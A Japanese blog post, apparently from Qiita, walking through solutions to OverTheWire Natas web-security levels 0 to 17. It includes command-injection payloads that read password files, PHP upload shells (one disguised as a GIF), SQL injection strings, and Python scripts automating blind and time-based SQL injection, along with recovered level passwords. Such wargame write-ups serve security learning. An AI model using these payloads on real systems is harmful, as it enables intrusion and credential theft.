3
1

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?

More than 1 year has passed since last update.

[CTF] OverTheWire Natas 0 to17 Writeup

Last updated at Posted at 2023-01-24

ウェブセキュリティを扱ったOverTheWire NatasのLevel 0 ~ 17までの解法

natas0

開発者ツールでソースを確認するだけ

index.html
<body>
<h1>natas0</h1>
<div id="content">
You can find the password for the next level on this page.

<!--The password for natas1 is g9D9cREhslqBKtcA2uocGHPfMZVzeFK6 -->
</div>
</body>

natas1

右クリックが禁止されているが、F12キーで開発者ツールを開ける

index.html
<body oncontextmenu="javascript:alert('right clicking has been blocked!');return false;">
<h1>natas1</h1>
<div id="content">
You can find the password for the
next level on this page, but rightclicking has been blocked!

<!--The password for natas2 is h4ubbcXrWqsTo7GGnnUMLppXbOogfBZ7 -->
</div>
</body>

natas2

filesというフォルダがあることに注目して、そのフォルダの中を確認すると、users.txtの中にパスワードがある。

files/users.txt
# username:password
alice:BYNdCesZqW
bob:jw2ueICLvT
charlie:G5vCxkVV3m
natas3:G6ctbMJ5Nb4cbFwhpMPSvxGHhQ7I6W8Q
eve:zo4mJWyNj2
mallory:9urtcpzBmH

natas3

natas2に似ているがどんなフォルダがあるのかわからない。そこでwebページのフォルダ構成などを自動で探索するdirbコマンドなどを用いて隠しフォルダを探す。

dirb http://natas3.natas.labs.overthewire.org -u natas3:<passwd>

s3cr3tというフォルダを発見でき、その中のusers.txtにパスワードが書いてある。

s3cr3t/users.txt
natas4:tKOcJIbzM4lTs8hbCmzn5Zr4434fGZQm

natas4

natas5のページから来なければいけないので、curl-eオプションを使ってreference URLを指定する

curl -u natas4:<passwd> -e http://natas5.natas.labs.overthewire.org/ http://natas4.natas.labs.overthewire.org 
<body>
<h1>natas4</h1>
<div id="content">

Access granted. The password for natas5 is Z0NsrtIkJoKALBCLi5eqFfcRN82Au2oD
<br/>
<div id="viewsource"><a href="index.php">Refresh page</a></div>
</div>
</body>

natas5

ページにアクセスするとAccess disallowed. You are not logged inと表示される。開発者ツールでcookieを確認するとloggedin=0になっているので、1に書き換える。

Access granted. The password for natas6 is fOIvE0MDtPTgRhqmmvvAOt2EfXR6uQgR

natas6

まずソースを確認する。

index-source.html
<?

include "includes/secret.inc";

    if(array_key_exists("submit", $_POST)) {
        if($secret == $_POST['secret']) {
        print "Access granted. The password for natas7 is <censored>";
    } else {
        print "Wrong secret";
    }
    }
?>

includes/secret.incを開くと、$secretの値がハードコーディングされているので、これを入力する

includes/secret.inc
<?
$secret = "FOEIUWGHFEEUHOFUOIU";
?>
Access granted. The password for natas7 is jmxSiH3SP6Sonf8dv66ng8v1cIEdjXWr

natas7

pageで指定されたファイルを開いて表示しているようなので、http://natas7.natas.labs.overthewire.org/index.php?page=/etc/natas_webpass/natas8にアクセスすればよい、

a6bZCNYwdKqN5cGP11ZdtPg0iImQQhAB

natas8

index-source.html
<?

$encodedSecret = "3d3d516343746d4d6d6c315669563362";

function encodeSecret($secret) {
    return bin2hex(strrev(base64_encode($secret)));
}

if(array_key_exists("submit", $_POST)) {
    if(encodeSecret($_POST['secret']) == $encodedSecret) {
    print "Access granted. The password for natas9 is <censored>";
    } else {
    print "Wrong secret";
    }
}
?>

bin2hex(strrev(base64_encode($secret))) == 3d3d516343746d4d6d6c315669563362を満たすような$secretを求めればよい。bin2hex(strrev(base64_encode($secret)))の逆関数は、hexをbinに変換 -> 文字列を反転 -> base64デコードであるので、これを以下のようにpythonで実装する。

import base64

base64.b64decode(bytes.fromhex('3d3d516343746d4d6d6c315669563362').decode()[::-1])

# >>> b'oubWYf2kBq'

このoubWYf2kBqを入力すればよい

Access granted. The password for natas9 is Sda6t0vkOPkM8YeOZkAGVhFoaplvlJFd

natas9

index-source.html
<pre>
<?
$key = "";

if(array_key_exists("needle", $_REQUEST)) {
    $key = $_REQUEST["needle"];
}

if($key != "") {
    passthru("grep -i $key dictionary.txt");
}
?>
</pre>

grep -i $key dictionary.txtに注目すると、我々は$keyを好きに入力できる。例えば; cat /etc/natas_webpass/natas10;を入力すると、コマンドは;で分割されるので、cat /etc/natas_webpass/natas10を実行できる。

Output:
D44EcsFkLxPIkAAKLosx8z3hxX1Z4MCE

natas10

/[;|&]/が使えないので、前回のようなインジェクションができない。

index-source.html
<pre>
<?
$key = "";

if(array_key_exists("needle", $_REQUEST)) {
    $key = $_REQUEST["needle"];
}

if($key != "") {
    if(preg_match('/[;|&]/',$key)) {
        print "Input contains an illegal character!";
    } else {
        passthru("grep -i $key dictionary.txt");
    }
}
?>
</pre>

しかし、grepは複数ファイルの検索ができるので、パスワードに含まれていそうな文字を-iオプションで指定して、dictionary.txtだけでなく/etc/natas_webpass/natas11の検索も行えばよい。例えばa /etc/natas_webpass/natas11を窓に入力すると、

/etc/natas_webpass/natas11:1KFqoJXi6hRaPluAmk8ESDW4fSysRoIg

を得られる

natas11

index-source.html
$defaultdata = array( "showpassword"=>"no", "bgcolor"=>"#ffffff");

function xor_encrypt($in) {
    $key = '<censored>';
    $text = $in;
    $outText = '';

    // Iterate through each character
    for($i=0;$i<strlen($text);$i++) {
    $outText .= $text[$i] ^ $key[$i % strlen($key)];
    }

    return $outText;
}

function loadData($def) {
    global $_COOKIE;
    $mydata = $def;
    if(array_key_exists("data", $_COOKIE)) {
    $tempdata = json_decode(xor_encrypt(base64_decode($_COOKIE["data"])), true);
    if(is_array($tempdata) && array_key_exists("showpassword", $tempdata) && array_key_exists("bgcolor", $tempdata)) {
        if (preg_match('/^#(?:[a-f\d]{6})$/i', $tempdata['bgcolor'])) {
        $mydata['showpassword'] = $tempdata['showpassword'];
        $mydata['bgcolor'] = $tempdata['bgcolor'];
        }
    }
    }
    return $mydata;
}

function saveData($d) {
    setcookie("data", base64_encode(xor_encrypt(json_encode($d))));
}

$data = loadData($defaultdata);

if(array_key_exists("bgcolor",$_REQUEST)) {
    if (preg_match('/^#(?:[a-f\d]{6})$/i', $_REQUEST['bgcolor'])) {
        $data['bgcolor'] = $_REQUEST['bgcolor'];
    }
}

saveData($data);



?>

<h1>natas11</h1>
<div id="content">
<body style="background: <?=$data['bgcolor']?>;">
Cookies are protected with XOR encryption<br/><br/>

<?
if($data["showpassword"] == "yes") {
    print "The password for natas12 is <censored><br>";
}

?>

<form>
Background color: <input name=bgcolor value="<?=$data['bgcolor']?>">
<input type=submit value="Set color">
</form>

<div id="viewsource"><a href="index-source.html">View sourcecode</a></div>
</div>
</body>

$data["showpassword"] == "yes"を満たすのが最終目標であり、このdatajson_decode(xor_encrypt(base64_decode($_COOKIE["data"])), true)によって生成されている。我々に分かっている情報は以下の通りである。

  • cookieを開発者ツールで確認すると、data=MGw7JCQ5OC04PT8jOSpqdmkgJ25nbCorKCEkIzlscm5oKC4qLSgubjY%3Dである

  • xor_encryptでは、入力された平文Pのi文字目を、鍵Kを用いて、暗号文Cに変換している

C[i] = P[i] ^ K[i % len(K)]
  • dataのデフォルト値は{"showpassword":"no", "bgcolor":"#ffffff"}である。

K[i % len(K)] = C[i] ^ P[i]であることに注目すると、Kを復元することができる。

ct = base64.b64decode('MGw7JCQ5OC04PT8jOSpqdmkgJ25nbCorKCEkIzlscm5oKC4qLSgubjY=').decode()
pt = '{"showpassword":"no","bgcolor":"#ffffff"}'

key_ = ""
for c1, c2 in zip(ct, pt):
    key_ += chr( ord(c1) ^ ord(c2) )

# key_ is KNHLKNHLKNHLKNHLKNHLKNHLKNHLKNHLKNHLKNHLK

key_KNHLKNHLKNHLKNHLKNHLKNHLKNHLKNHLKNHLKNHLKであるので、繰り返し構造からKKNHLと分かる。これを用いて'{"showpassword":"yes","bgcolor":"#ffffff"}'をエンコードし、$data["showpassword"] == "yes"を満たすようなcookieの値を生成する。

key = 'KNHL'
dummy_ct = ""
dummy_data = '{"showpassword":"yes","bgcolor":"#ffffff"}'
for i in range(len(dummy_data)):
    dummy_ct += chr(ord(dummy_data[i]) ^ ord(key[i % len(key)]))
    
base64.b64encode(dummy_ct.encode())
# >>> b'MGw7JCQ5OC04PT8jOSpqdmk3LT9pYmouLC0nICQ8anZpbS4qLSguKmkz'

開発者ツールでcookieを書き換えた後、searchボタンを押すと以下のパスワードを得る。

The password for natas12 is YWqo0pjpcXzSIl5NMAVxg12QxeC1w9QG

natas12

index-source.html
<?php

function genRandomString() {
    $length = 10;
    $characters = "0123456789abcdefghijklmnopqrstuvwxyz";
    $string = "";

    for ($p = 0; $p < $length; $p++) {
        $string .= $characters[mt_rand(0, strlen($characters)-1)];
    }

    return $string;
}

function makeRandomPath($dir, $ext) {
    do {
    $path = $dir."/".genRandomString().".".$ext;
    } while(file_exists($path));
    return $path;
}

function makeRandomPathFromFilename($dir, $fn) {
    $ext = pathinfo($fn, PATHINFO_EXTENSION);
    return makeRandomPath($dir, $ext);
}

if(array_key_exists("filename", $_POST)) {
    $target_path = makeRandomPathFromFilename("upload", $_POST["filename"]);


        if(filesize($_FILES['uploadedfile']['tmp_name']) > 1000) {
        echo "File is too big";
    } else {
        if(move_uploaded_file($_FILES['uploadedfile']['tmp_name'], $target_path)) {
            echo "The file <a href=\"$target_path\">$target_path</a> has been uploaded";
        } else{
            echo "There was an error uploading the file, please try again!";
        }
    }
} else {
?>

<form enctype="multipart/form-data" action="index.php" method="POST">
<input type="hidden" name="MAX_FILE_SIZE" value="1000" />
<input type="hidden" name="filename" value="<?php print genRandomString(); ?>.jpg" />
Choose a JPEG to upload (max 1KB):<br/>
<input name="uploadedfile" type="file" /><br />
<input type="submit" value="Upload File" />
</form>
<?php } ?>

パスワードを表示するphpファイルをアップロードし、それにアクセスすればよい

natas12.php
<?php
 
$cmd = 'cat  /etc/natas_webpass/natas13';
exec($cmd, $opt);
print_r($opt);

 
?>

ただし、アップロードされたファイルの名前がランダムなものに置き換えられることに注意する。

session1 = requests.Session()

url = "http://natas12.natas.labs.overthewire.org/"
user = "natas12"
passw = "YWqo0pjpcXzSIl5NMAVxg12QxeC1w9QG"

response = session1.post(url,
                         files = { "uploadedfile" : open('natas12.php', 'rb') },
                         data = { "filename" : "natas12.php", "MAX_FILE_SIZE" : "1000" },
                         auth = (user, passw) )
print(response.text)
<html>
<head>
<!-- This stuff in the header has nothing to do with the level -->
<link rel="stylesheet" type="text/css" href="http://natas.labs.overthewire.org/css/level.css">
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/jquery-ui.css" />
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/wechall.css" />
<script src="http://natas.labs.overthewire.org/js/jquery-1.9.1.js"></script>
<script src="http://natas.labs.overthewire.org/js/jquery-ui.js"></script>
<script src=http://natas.labs.overthewire.org/js/wechall-data.js></script><script src="http://natas.labs.overthewire.org/js/wechall.js"></script>
<script>var wechallinfo = { "level": "natas12", "pass": "YWqo0pjpcXzSIl5NMAVxg12QxeC1w9QG" };</script></head>
<body>
<h1>natas12</h1>
<div id="content">
The file <a href="upload/7oncdtchl6.php">upload/7oncdtchl6.php</a> has been uploaded<div id="viewsource"><a href="index-source.html">View sourcecode</a></div>
</div>
</body>
</html>

アップロードしたphpファイルにアクセスして、コマンドを実行させる。

response = session1.post(url + "upload/7oncdtchl6.php",
                         files = { "uploadedfile" : open('natas12.php', 'rb') },
                         data = { "filename" : "natas12.php", "MAX_FILE_SIZE" : "1000" },
                         auth = (user, passw) )
print(response.text)
Array
(
    [0] => lW3jYRI02ZKDBb8VtQBU1f6eDRo6WEj9
)

natas13

natas12と違ってexif_imagetype関数をつかって、アップロードされたファイルが画像かどうかをチェックしている。

index-source.html
<body>
<h1>natas13</h1>
<div id="content">
For security reasons, we now only accept image files!<br/><br/>

<?php

function genRandomString() {
    $length = 10;
    $characters = "0123456789abcdefghijklmnopqrstuvwxyz";
    $string = "";

    for ($p = 0; $p < $length; $p++) {
        $string .= $characters[mt_rand(0, strlen($characters)-1)];
    }

    return $string;
}

function makeRandomPath($dir, $ext) {
    do {
    $path = $dir."/".genRandomString().".".$ext;
    } while(file_exists($path));
    return $path;
}

function makeRandomPathFromFilename($dir, $fn) {
    $ext = pathinfo($fn, PATHINFO_EXTENSION);
    return makeRandomPath($dir, $ext);
}

if(array_key_exists("filename", $_POST)) {
    $target_path = makeRandomPathFromFilename("upload", $_POST["filename"]);

    $err=$_FILES['uploadedfile']['error'];
    if($err){
        if($err === 2){
            echo "The uploaded file exceeds MAX_FILE_SIZE";
        } else{
            echo "Something went wrong :/";
        }
    } else if(filesize($_FILES['uploadedfile']['tmp_name']) > 1000) {
        echo "File is too big";
    } else if (! exif_imagetype($_FILES['uploadedfile']['tmp_name'])) {
        echo "File is not an image";
    } else {
        if(move_uploaded_file($_FILES['uploadedfile']['tmp_name'], $target_path)) {
            echo "The file <a href=\"$target_path\">$target_path</a> has been uploaded";
        } else{
            echo "There was an error uploading the file, please try again!";
        }
    }
} else {
?>

<form enctype="multipart/form-data" action="index.php" method="POST">
<input type="hidden" name="MAX_FILE_SIZE" value="1000" />
<input type="hidden" name="filename" value="<?php print genRandomString(); ?>.jpg" />
Choose a JPEG to upload (max 1KB):<br/>
<input name="uploadedfile" type="file" /><br />
<input type="submit" value="Upload File" />
</form>
<?php } ?>
<div id="viewsource"><a href="index-source.html">View sourcecode</a></div>
</div>
</body>

しかし、exif_imagetypeはファイルの先頭バイトのみを見て画像ファイルかどうかを判定しているので、natas12でアップロードしたphpファイルの先頭に画像を表すバイト列を付け足してアップロードすればよい

画像(GIF形式)に偽装したphpファイル

natas13.php
GIF89a
<?php
 
$cmd = 'cat  /etc/natas_webpass/natas14';
exec($cmd, $opt);
print_r($opt);
 
?>

ファイルのアップロード

import requests
import re

url = "http://natas13.natas.labs.overthewire.org/"
user = "natas13"
passw = "lW3jYRI02ZKDBb8VtQBU1f6eDRo6WEj9"

response = requests.get(url, auth=(user, passw))
session1 = requests.Session()

response = session1.post(url, files = { "uploadedfile" : open('natas13.php', 'rb') },
                         data = { "filename" : "natas12.php", "MAX_FILE_SIZE" : "1000" }, auth = (user, passw) )
print(response.text)
<html>
<head>
<!-- This stuff in the header has nothing to do with the level -->
<link rel="stylesheet" type="text/css" href="http://natas.labs.overthewire.org/css/level.css">
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/jquery-ui.css" />
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/wechall.css" />
<script src="http://natas.labs.overthewire.org/js/jquery-1.9.1.js"></script>
<script src="http://natas.labs.overthewire.org/js/jquery-ui.js"></script>
<script src=http://natas.labs.overthewire.org/js/wechall-data.js></script><script src="http://natas.labs.overthewire.org/js/wechall.js"></script>
<script>var wechallinfo = { "level": "natas13", "pass": "lW3jYRI02ZKDBb8VtQBU1f6eDRo6WEj9" };</script></head>
<body>
<h1>natas13</h1>
<div id="content">
For security reasons, we now only accept image files!<br/><br/>

The file <a href="upload/wyfyln6xup.php">upload/wyfyln6xup.php</a> has been uploaded<div id="viewsource"><a href="index-source.html">View sourcecode</a></div>
</div>
</body>
</html>

アップロードしたファイルにアクセスして、パスワードを表示させるコマンドを実行させる。

result = session1.post(url + "upload/wyfyln6xup.php", auth = (user, passw) )
print(result.text)

# >>> GIF89a\nArray\n(\n    [0] => qPazSJBmrmU7UQJv17MHk1PGC4DxZMEP\n)\n'

natas14

<?php
if(array_key_exists("username", $_REQUEST)) {
    $link = mysqli_connect('localhost', 'natas14', '<censored>');
    mysqli_select_db($link, 'natas14');

    $query = "SELECT * from users where username=\"".$_REQUEST["username"]."\" and password=\"".$_REQUEST["password"]."\"";
    if(array_key_exists("debug", $_GET)) {
        echo "Executing query: $query<br>";
    }

    if(mysqli_num_rows(mysqli_query($link, $query)) > 0) {
            echo "Successful login! The password for natas15 is <censored><br>";
    } else {
            echo "Access denied!<br>";
    }
    mysqli_close($link);
} else {
?>

SELECT * from users where username=\"".$_REQUEST["username"]."\" and password=\"".$_REQUEST["password"]に注目する。usernamepasswordには任意の文字列を挿入できる。そこで、例えばusername=" OR "1" = "1password=" OR "1" = "1とすると、実行されるSQL文は以下のようになる。

SELECT * from users where username="" OR "1" = "1" and password="" OR "1" = "1"

このwhere句は常にTrueとなるので、このusernamepasswordを入力すればよい

Successful login! The password for natas15 is TTkaI7AWG4iDERztBcEyKV7kRXH1EZRB

natas15

SQL文を実行し、結果が1行以上あればThis user exists.を表示し、そうでない場合はThis user doesn't exist.を表示する。

<?php

/*
CREATE TABLE `users` (
  `username` varchar(64) DEFAULT NULL,
  `password` varchar(64) DEFAULT NULL
);
*/

if(array_key_exists("username", $_REQUEST)) {
    $link = mysqli_connect('localhost', 'natas15', '<censored>');
    mysqli_select_db($link, 'natas15');

    $query = "SELECT * from users where username=\"".$_REQUEST["username"]."\"";
    if(array_key_exists("debug", $_GET)) {
        echo "Executing query: $query<br>";
    }

    $res = mysqli_query($link, $query);
    if($res) {
    if(mysqli_num_rows($res) > 0) {
        echo "This user exists.<br>";
    } else {
        echo "This user doesn't exist.<br>";
    }
    } else {
        echo "Error in query.<br>";
    }

    mysqli_close($link);
} else {
?>

今我々はusernameに好きな文字列を挿入できるので、例えばusername=natas16" and password like binary "%{c}%とすると、実行されるSQL文はSELECT * from users where username="natas16" and password like binary "%{c}%"となり、natas16のpasswordにcが含まれる場合のみThis user exists.が表示される。

この性質を利用して、まずnatas16のパスワードに含まれている文字を抽出する。

import requests
import re
import string
import tqdm

url = "http://natas15.natas.labs.overthewire.org/"
user = "natas15"
passw = "TTkaI7AWG4iDERztBcEyKV7kRXH1EZRB"

response = requests.get(url, auth=(user, passw))
session1 = requests.Session()

characters = ''.join([string.ascii_letters,string.digits])
print("all ascii letters: ", characters)

chracters_used_in_passwd = []
for c in tqdm.tqdm(characters):
    response = session1.post(url,
                             data = {'username' : f'natas16" and password like binary "%{c}%'},
                             auth = (user, passw) )
    if "This user exists." in response.text:
        chracters_used_in_passwd.append(c)
print("chracters_used_in_passwd: ", chracters_used_in_passwd)
all ascii letters:  abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789
100%|██████████████████████████████████████████████████████████████████████████████████| 62/62 [00:20<00:00,  2.96it/s]
chracters_used_in_passwd:  ['a', 'd', 'f', 'g', 'i', 'j', 'k', 'l', 'q', 'r', 'u', 'A', 'D', 'E', 'H', 'O', 'P', 'R', 'T', 'V', 'Z', '2', '3', '5', '7', '9']

次に、これらの文字の組み合わせがパスワードに含まれているかを確認し、パスワードを完全に復元する。

restored_passw = ""
for _ in tqdm.tqdm(range(32)):
    for c in chracters_used_in_passwd:
        tmp_passw = restored_passw + c
        response = session1.post(url,
                                 data = {'username' : f'natas16" and password like binary "{tmp_passw}%'},
                                 auth = (user, passw) )
        if "This user exists." in response.text:
            restored_passw = tmp_passw
print("final result: ", restored_passw)
100%|██████████████████████████████████████████████████████████████████████████████████| 32/32 [04:18<00:00,  8.08s/it]
final result:  TRD7iZrd5gATjj9PkPEuaOlfEjHqj32V

なお、LIKEではなくLIKE BINARYを使うことで大文字と小文字を区別するようにしている。また%c%では文字列のどこかにcが含まれている場合にTrueとなるが、c%の場合は文字列がcから始まる場合のみTrueとなることに注意されたい。

natas16

入力された文字列をgrepコマンドで検索している。

index-souce.html
<body>
<h1>natas16</h1>
<div id="content">

For security reasons, we now filter even more on certain characters<br/><br/>
<form>
Find words containing: <input name=needle><input type=submit name=submit value=Search><br><br>
</form>


Output:
<pre>
<?
$key = "";

if(array_key_exists("needle", $_REQUEST)) {
    $key = $_REQUEST["needle"];
}

if($key != "") {
    if(preg_match('/[;|&`\'"]/',$key)) {
        print "Input contains an illegal character!";
    } else {
        passthru("grep -i \"$key\" dictionary.txt");
    }
}
?>
</pre>

<div id="viewsource"><a href="index-source.html">View sourcecode</a></div>
</div>
</body>

発想は前回と同様であり、パスワードに含まれる文字列を検索した時とそうでないときで画面出力が変わるようなコマンドをインジェクトする。適当な単語で検索すると、Africansと単語が辞書に含まれており、さらにAfricansを部分文字列として含むような単語は辞書に登録されていないことが分かる。この時、grep Africans$(grep {char} /etc/natas_webpass/natas17) dictionary.txtというコマンドはchar/etc/natas_webpass/natas17含まれてないときのみAfricansを返す。

url = "http://natas16.natas.labs.overthewire.org/"
user = "natas16"
passw = 'TRD7iZrd5gATjj9PkPEuaOlfEjHqj32V'

response = requests.get(url, auth=(user, passw))
session1 = requests.Session()

characters = ''.join([string.ascii_letters,string.digits])

chracters_used_in_passwd = []
for c in tqdm.tqdm(characters):  
    response = requests.get(url + f"?needle=Africans$(grep {c} /etc/natas_webpass/natas17)",
                      auth = (user, passw))  

    if 'Africans' not in response.text:  
        chracters_used_in_passwd.append(c)  
print("chracters_used_in_passwd: ", chracters_used_in_passwd)
100%|██████████████████████████████████████████████████████████████████████████████████| 62/62 [00:38<00:00,  1.63it/s]
chracters_used_in_passwd:  ['b', 'd', 'h', 'k', 'm', 'n', 's', 'u', 'v', 'B', 'C', 'E', 'H', 'I', 'K', 'L', 'R', 'S', 'U', 'X', '0', '1', '7', '9']

パスワードに含まれている文字のリストを得ることができたら、natas16と同様にそれらを結合したものがパスワードに含まれているかをチェックする。

restored_passw = ""
for i in tqdm.tqdm(range(32)):  
    for c in chracters_used_in_passwd:
        tmp_passw = restored_passw + c
        response = requests.get(url + f"?needle=Africans$(grep ^{tmp_passw} /etc/natas_webpass/natas17)",
                          auth = (user, passw))   
    
        if 'Africans' not in r.text:  
            restored_passw = tmp_passw
print("final result: ", restored_passw)
100%|██████████████████████████████████████████████████████████████████████████████████| 32/32 [03:51<00:00,  7.24s/it]
final result:  XkEuChE0SbnKBvH1RU7ksIb9uuLmI7sd

natas 17

natas15に似ているが、画面出力部分がコメントアウトされていて、どんな入力を送っても結果は表示されない。

<?php

/*
CREATE TABLE `users` (
  `username` varchar(64) DEFAULT NULL,
  `password` varchar(64) DEFAULT NULL
);
*/

if(array_key_exists("username", $_REQUEST)) {
    $link = mysqli_connect('localhost', 'natas17', '<censored>');
    mysqli_select_db($link, 'natas17');

    $query = "SELECT * from users where username=\"".$_REQUEST["username"]."\"";
    if(array_key_exists("debug", $_GET)) {
        echo "Executing query: $query<br>";
    }

    $res = mysqli_query($link, $query);
    if($res) {
    if(mysqli_num_rows($res) > 0) {
        //echo "This user exists.<br>";
    } else {
        //echo "This user doesn't exist.<br>";
    }
    } else {
        //echo "Error in query.<br>";
    }

    mysqli_close($link);
} else {
?>

SQLクエリ自体は実行されているので、time-based SQL injectionを試す。natas15で用いたコードを少し改変し、SQLクエリの条件句にsleep(1)を加えることで、パスワードに検索対象の文字が含まれていた場合は1秒待機するようにする。よって、結果が返ってくるまでの時間が1秒以上かかっている場合には、検索した文字がパスワードに含まれていたと判断できる。

import requests
import re
import string
import tqdm

url = "http://natas17.natas.labs.overthewire.org/"
user = "natas17"
passw = "XkEuChE0SbnKBvH1RU7ksIb9uuLmI7sd"

response = requests.get(url, auth=(user, passw))
session1 = requests.Session()

characters = ''.join([string.ascii_letters,string.digits])
print("all ascii letters: ", characters)

chracters_used_in_passwd = []
for c in tqdm.tqdm(characters):
    response = session1.post(url,
                             data = {'username' : f'natas18" and password like binary "%{c}%" and sleep(1) and "1" = "1'},
                             auth = (user, passw) )
    if(response.elapsed.seconds >= 1):  
        chracters_used_in_passwd.append(c)
print("chracters_used_in_passwd: ", chracters_used_in_passwd)
all ascii letters:  abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789
100%|██████████████████████████████████████████████████████████████████████████████████| 62/62 [00:43<00:00,  1.43it/s]
chracters_used_in_passwd:  ['a', 'g', 'k', 'n', 'o', 'q', 'u', 'v', 'w', 'x', 'D', 'E', 'F', 'G', 'J', 'L', 'N', 'P', 'Q', 'U', 'V', 'Z', '4', '6', '8']

パスワードに含まれている文字のリストから、パスワードそのものを復元するコードもnatas15のコードを同様に改変すればよい。

restored_passw = ""
for _ in tqdm.tqdm(range(32)):
    for c in chracters_used_in_passwd:
        tmp_passw = restored_passw + c
        response = session1.post(url,
                                 data = {'username' : f'natas18" and password like binary "{tmp_passw}%" and sleep(1) and "1" = "1'},
                                 auth = (user, passw) )
        if(response.elapsed.seconds >= 1):  
            restored_passw = tmp_passw
            break
print("final result: ", restored_passw)
100%|██████████████████████████████████████████████████████████████████████████████████| 32/32 [02:42<00:00,  5.08s/it]
final result:  8NEDUUxg8kFgPV84uLwvZkGn6okJQ6aq
3
1
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
3
1

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?